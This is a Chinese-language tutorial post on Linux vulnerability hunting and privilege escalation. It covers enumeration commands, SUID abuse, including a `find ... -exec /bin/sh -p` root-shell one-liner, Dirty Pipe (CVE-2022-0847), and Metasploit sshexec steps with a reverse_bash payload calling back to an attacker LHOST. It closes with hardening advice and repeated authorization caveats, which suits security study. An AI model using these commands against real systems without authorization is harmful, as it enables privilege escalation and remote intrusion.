Linux exploit漏洞挖掘方法分享
小樊
32
2025-12-31 15:17:40
Linux 漏洞挖掘方法实战路线
一 合规与准备
- 仅在取得系统所有者的明确书面授权前提下开展测试,限定时间窗与测试范围,避免影响业务连续性。
- 准备隔离的实验环境(如虚拟机/实验网段),对目标做快照/备份,便于回滚与复盘。
- 明确合规边界与数据处理规范,测试产物(日志、流量、样本)妥善保存与加密,测试结束按约定清除。
二 信息收集与资产梳理
- 主机与内核识别:获取内核版本、发行版与架构,为后续匹配CVE与本地提权路径打基础。
- 命令示例:
uname -a、cat /etc/issue、cat /proc/version
- 服务与端口:识别开放端口、运行服务与版本,初步判断是否存在已知漏洞或弱配置。
- 命令示例:
nmap -sV <target IP>
- 本地安全基线:重点排查SUID/SGID、世界可写、可疑定时任务、异常网络监听、被修改的关键二进制等。
- 命令示例:
find / -perm -4000 -type f 2>/dev/null、find / -perm -2000 -type f 2>/dev/null、crontab -l、netstat -tulpen、ls -la /tmp
- 自动化信息收集与提权建议:使用LinEnum、linuxprivchecker汇总系统信息;用linux-exploit-suggester / linux-exploit-suggester2基于内核/发行版给出可能的内核提权CVE清单;对SUID文件进一步验证可利用性。
三 本地提权路径与验证
- SUID 提权
- 思路:查找具有root SUID的可执行文件,验证是否可被滥用执行任意命令或加载恶意库。
- 快速定位:
find / -perm -4000 -type f 2>/dev/null
- 经典案例:
find 滥用执行命令(示例仅用于授权测试)
find /tmp -name x -exec whoami \;
find /tmp -name x -exec /bin/sh -p \;
- 内核漏洞提权
- 思路:匹配内核版本/发行版与已知CVE,在隔离环境验证 PoC/EXP 的可用性与稳定性。
- 信息收集:
uname -a、cat /etc/issue
- 离线检索:
searchsploit linux <version> <distro>(Exploit-DB 离线工具)
- 示例(仅用于授权测试):Dirty Pipe CVE-2022-0847,影响 Linux kernel 5.8–5.16.11 / 5.15.25 / 5.10.102,常见验证方式是对具有 SUID 的二进制(如
/usr/bin/su)进行覆盖提权。
- 自动化提权辅助
- 工具:BeRoot、traitor(综合提权建议与自动化检查)
- 用途:结合系统配置、SUID/GUID、服务与内核线索,生成可验证的提权路径清单。
四 用户态服务漏洞挖掘
- 发现与定位
- 端口与服务:
nmap -sV <target IP>
- 本地/远程服务枚举:结合 Metasploit 辅助模块进行服务识别与弱口令检测(如
auxiliary/scanner/ssh/ssh_login)
- 漏洞利用与后渗透
- 选择模块:
use exploit/multi/ssh/sshexec
- 配置参数:
set RHOST <IP>、set payload cmd/unix/reverse_bash、set LHOST <IP>、set LPORT <PORT>
- 执行与后渗透:
run 获取会话,使用 Metasploit post 模块进行横向移动与权限维持(仅在授权范围内)。
五 自动化扫描与防护要点
- 常用工具与用途
- 漏洞扫描与管理:Nessus、OpenVAS/GVM(覆盖操作系统与应用的漏洞评估)
- Web 应用安全:Nikto、OWASP ZAP(识别常见 Web 漏洞与不安全配置)
- 主机审计与基线:Lynis(本地安全配置审计与合规检查)
- 容器镜像:Clair(镜像层漏洞分析与告警)
- 防护建议
- 及时更新内核与软件包,减少已知漏洞暴露面
- 启用SELinux/AppArmor等强制访问控制,限制提权与横向移动
- 启用并合理配置ASLR/堆栈保护/PIE等缓解机制
- 严控SUID/SGID与世界可写文件,定期审计并清理异常权限
- 对关键系统实施最小权限与多因素认证,并完善日志与监控。